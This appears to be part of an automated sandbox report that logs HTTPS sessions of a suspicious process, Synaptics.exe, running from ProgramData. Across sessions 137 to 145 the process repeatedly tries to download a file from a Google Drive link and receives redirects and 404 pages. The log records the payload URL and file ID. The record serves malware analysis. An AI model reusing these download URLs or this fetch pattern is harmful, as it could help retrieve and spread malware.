2024-07-25 19:55:46 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:46 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 4e 4c 2d 58 6b 6d 61 33 6d 59 4d 49 77 58 54 72 46 31 31 77 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="ANL-Xkma3mYMIwXTrF11wA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:46 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	49933	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-zEXXh5T1b4B83ygKHK0cBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	49931	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZDxEj-tkP9-NF1olXTQmPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	49932	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:46 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:46 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4XWhSjrV6u7MkJhvpORzaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nM9UZnj0IuwzU8Z9yihvBTf1y62VFnbKOgdOApCUUHELczoQB29N93ExguSIdJxIbQ9_ZY1sKsYEQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:46 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:46 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 49 34 76 37 6d 38 33 35 76 61 73 45 32 56 75 70 76 39 30 4e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="iI4v7m835vasE2Vupv90Ng">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:46 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	49936	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-9ZexRNf0rqyjEI_d2php4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	49937	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:47 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:47 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-vOecvQKEH-tp99gIWOiQFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nOPpTwlM4jR9bYeBHJjThQHyvDlsDZUqoWtHvHeCVTjMRAHL5AGxS0UjZoAVSSUCVhPk6vmDSUSpg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:47 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 5a 30 32 33 5a 54 79 69 35 4e 6c 69 45 71 54 34 64 61 6e 6e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="cZ023ZTyi5NliEqT4dannQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	49938	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:47 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-o23Cj-ucIqVokbEWf747MA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	49939	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:47 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:47 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:47 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-OYQLkcM7jEyi5tjRvubPdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOYFaJro_oyI79w5P6pmJ-ov1R-1oxH1SUMjjcx9WFiKbCF27FXCauCU7pWnJKWX0otW2Y Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:47 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:47 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 63 44 34 55 65 6e 72 52 67 49 35 46 6d 59 31 34 2d 33 5a 58 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="gcD4UenrRgI5FmY14-3ZXQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:47 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	49942	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:48 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	49944	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:48 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
